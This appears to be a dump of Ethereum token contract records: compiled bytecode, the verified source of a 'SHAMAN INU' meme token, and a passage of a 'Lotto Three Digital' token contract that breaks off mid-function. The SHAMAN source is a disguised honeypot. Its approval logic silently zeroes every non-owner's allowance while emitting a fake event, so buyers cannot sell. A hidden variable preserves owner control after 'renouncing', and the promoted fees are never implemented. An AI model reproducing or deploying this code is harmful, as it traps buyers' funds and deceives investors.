000600360149054906101000a900460ff16151515610acf57600080fd5b610ad9838361152c565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bc457600080fd5b610bcd81611728565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610cff57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d4c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dd757600080fd5b610e28826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ebb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561118d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611221565b6111a0838261182490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561134a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561139757600080fd5b6113e8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006115bd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561176457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561183257fe5b818303905092915050565b6000818301905082811015151561185057fe5b809050929150505600a165627a7a72305820ca203f6c3b2a5db2b1079523edcd844e4eff45304ab4b04b75829fab07bd347c0029
|
{"success": true, "error": null, "results": {}}
| 3,783 |
0x7418a4d1a8aaecb45d0bc32aa2a171f42aa0df81
|
/**
*Submitted for verification at Etherscan.io on 2021-11-10
*/
/*
LAUNCH:
Stealth launching on Wednesday, November 10th
Shamans protected the earth and the shaman king was responsible for uniting mankind and spirits. This king was the boldest of warriors and created his very own legacy. Now every 4 years during the great bull run the next shaman is chosen!
⭐️Tokenomics⭐️
Total Supply: 1,000,000,000,000,000,000
2% Reflection
3% Automatically added to LP
10% Development/Buybacks/Marketing
Starting liquidity, 4 ETH
Liquidity will be locked immediately after launch.
Ownership will be renounced.
We will also be taking measures to protect against bots and snipers.
Website:
Www.shamankinginu.io
Telegram:
https://t.me/ShamanKingInu
Audit:
Safe Solidity Audit - At Launch
Instagram:
https://www.instagram.com/invites/contact/?i=1kvm7080nvljo&utm_content=n2aney2
Reddit:
https://www.reddit.com/r/ShamanKingInu?utm_medium=android_app&utm_source=share
Twitter:
https://twitter.com/ShamankingInu?t=ZDBcmyRYkGCIVHqXRa38YA&s=09
Discord:
https://discord.gg/Z2eqSA5Bsd
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract SHAMAN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = ' SHAMAN INU ';
string private _symbol = 'SHAMAN';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d4f9d3ddfa725f1c8a38631f20cbd90bf2699038a52760d29d58d51eac26772f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,784 |
0xb9a5da11a13380330d6e739451697843d2466d15
|
/**
3333333 33333333
33 33 33
33 33 33
33 33 33
333333 33333333
The first 3D lotto token on the ERC network
HOW TO WIN?
1.BUY $3D
Open Uniswap, Access your wallet to Uniswap by clicking ‘Connect to a wallet’ and selecting $3D by the Contract Address.Press ‘Select a token’ and enter the token address $3D
2.BUY LOTTO 3D
Go back to this website and connect the wallet. Click to buy lotto 3D, you can choose random or self-selected numbers.
3.WAITING FOR THE DRAW
To demonstrate fairness, the draw results are the US 3D draw results at 9PM every day.
4.RECEIVE AWARD
If you are lucker, please go back to this website, connect your wallet and click to redeem rewards, your wallet will automatically receive ETH.
Total supply:1,000,000,000
Max buy:7,500,000 0.75%
Max wallet size:33,333,333 3.3%
Tax:14%
4% for marketing
10% for prize pool
Website:https://lotto3d.net/
Twitter:https://twitter.com/LOTTO3DIGITAL
Telegram:https://t.me/Lotto3D_Official3D
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract threedigital is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lotto Three Digital";
string private constant _symbol = "3D";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 14;
//Sell Fee
uint256 private _taxFeeOnSell = 14;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x760C2B9B788aaC4d010E6BE9afa50AF60339AafF);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 7500000 * 10**9;
uint256 public _maxWalletSize = 33333333 * 10**9;
uint256 public _swapTokensAtAmount = 5000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
